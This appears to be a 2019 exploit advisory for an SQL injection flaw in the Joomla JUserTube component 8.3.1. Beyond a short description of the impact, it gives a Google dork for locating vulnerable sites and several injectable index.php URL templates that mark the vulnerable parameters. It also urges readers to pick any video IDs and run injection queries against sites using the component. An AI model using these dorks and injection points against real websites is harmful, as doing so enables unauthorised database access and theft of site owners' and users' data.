Joomla JUserTube 8.3.1 SQL Injection

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# Exploit Title : Joomla JUserTube Components 8.3.1 SQL Injection  
# Author [ Discovered By ] : KingSkrupellos  
# Team : Cyberizm Digital Security Army  
# Date : 31/01/2019  
# Vendor Homepage : srizon.com  
# Software Download Link : srizon.com/product/jusertube/  
# Software Information Link : extensions.joomla.org/extension/jusertube/  
# Software Version : 8.3.1 and other previous versions  
# Tested On : Windows and Linux  
# Category : WebApps  
# Exploit Risk : Medium  
# Google Dorks : inurl:''/index.php?option=com_jusertube''  
# Vulnerability Type : CWE-89 [ Improper Neutralization of   
Special Elements used in an SQL Command ('SQL Injection') ]  
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968  
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/  
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos  
  
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# Description about Software :  
***************************  
JUserTube is a Joomla Extension for showing YouTube videos into your Joomla website.   
  
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# Impact :  
***********  
  
* An attacker might be able inject and/or alter existing   
  
SQL statements which would influence the database exchange.  
  
* SQL injection vulnerability in the Joomla JUserTube Components 8.3.1 because,  
  
it fails to sufficiently sanitize user-supplied data before using it in an SQL query.  
  
* On the other hand, this component jusertube for Joomla! allows   
  
remote attackers to execute arbitrary SQL commands   
  
via the " Itemid=, width=, srztb_iframe=, st=no&height=, &auto= "   
  
with different parameters action to index.php.  
  
* Exploiting this issue could allow an attacker to compromise the application, read,  
  
access or modify data, or exploit latent vulnerabilities in the underlying database.   
  
If the webserver is misconfigured, read & write access to the filesystem may be possible.  
  
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# SQL Injection Exploit :  
**********************  
  
/index.php?option=com_jusertube&view=fullpage&Itemid=[SQL Injection]  
  
/index.php?option=com_jusertube&view=lightbox&rid=&yuser=  
[YOUR-REGISTRATION-NAME-]&auto=  
[ID-NUMBER]&eh=[ID-NUMBER]&ew=[ID-NUMBER]&st=  
yes&rid=[YOUTUBE-VUDEO-ID-NUMBER]&height=[ID-NUMBER]&width=[SQL Injection]  
  
/index.php?option=com_jusertube&view=lightbox&rid=&yuser=  
[YOUTUBE-CHANNEL-NAME-HERE]&auto=[ID-NUMBER]&eh=  
[ID-NUMBER]&ew=[ID-NUMBER]&st=  
yes&rid=[YOUTUBE-PLAYLIST-VUDEO-ID-NUMBER]&height=  
[ID-NUMBER]&width=[ID-NUMBER]&srztb_iframe=[SQL Injection]  
  
/index.php?option=com_jusertube&view=lightbox&yuser=atlantarc  
&auto=[ID-NUMBER]&eh=[ID-NUMBER]&ew=[ID-NUMBER]&st=  
yes&rid=[YOUTUBE-VUDEO-ID-NUMBER]&height=[ID-NUMBER]&width=[SQL Injection]  
  
/index.php?option=com_jusertube&view=  
lightbox&rid=[YOUTUBE-VUDEO-ID-NUMBER]&yuser=[YOUTUBE-PLAYLIST-VUDEO-ID-NUMBER]  
&auto=1&eh=[ID-NUMBER]&ew=[ID-NUMBER]&st=yes&height=[ID-NUMBER]&width=[SQL Injection]  
  
/index.php?option=com_jusertube&view=videobox&rid=[YOUTUBE-VUDEO-ID-NUMBER]  
&yuser=[YOUTUBE-PLAYLIST-VUDEO-ID-NUMBER]&auto=[ID-NUMBER]  
&eh=[ID-NUMBER]&ew=[ID-NUMBER]&st=no&height=[SQL Injection]  
  
/index.php?option=com_jusertube&view=videobox&rid=[YOUTUBE-VUDEO-ID-NUMBER]  
&yuser=[YOUTUBE-VUDEO-ID-NUMBER]&auto=[ID-NUMBER]  
&eh=[ID-NUMBER]&ew=[SQL Injection]  
  
/index.php?option=com_jusertube&view=videobox&rid=[YOUTUBE-VUDEO-ID-NUMBER]  
&yuser=[YOUTUBE-PLAYLIST-VUDEO-ID-NUMBER]&auto=[ID-NUMBER]  
&eh=[SQL Injection]  
  
/index.php?option=com_jusertube&view=videobox&rid=[YOUTUBE-VUDEO-ID-NUMBER]  
&yuser=[YOUTUBE-PLAYLIST-VUDEO-ID-NUMBER]&auto=[SQL Injection]  
  
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Example Youtube Video Id Number and Youtube Playlist Video ID Number =>   
*****************************************************************  
  
Find any random video and playlist id numbers and use SQL injection queries on com_jusertube.   
  
youtube.com/watch?v=[YOUTUBE-VIDEO-ID-NUMBER]  
&feature=youtu.be&list=[YOUTUBE-PLAYLIST-VUDEO-ID-NUMBER]  
  
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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team   
  
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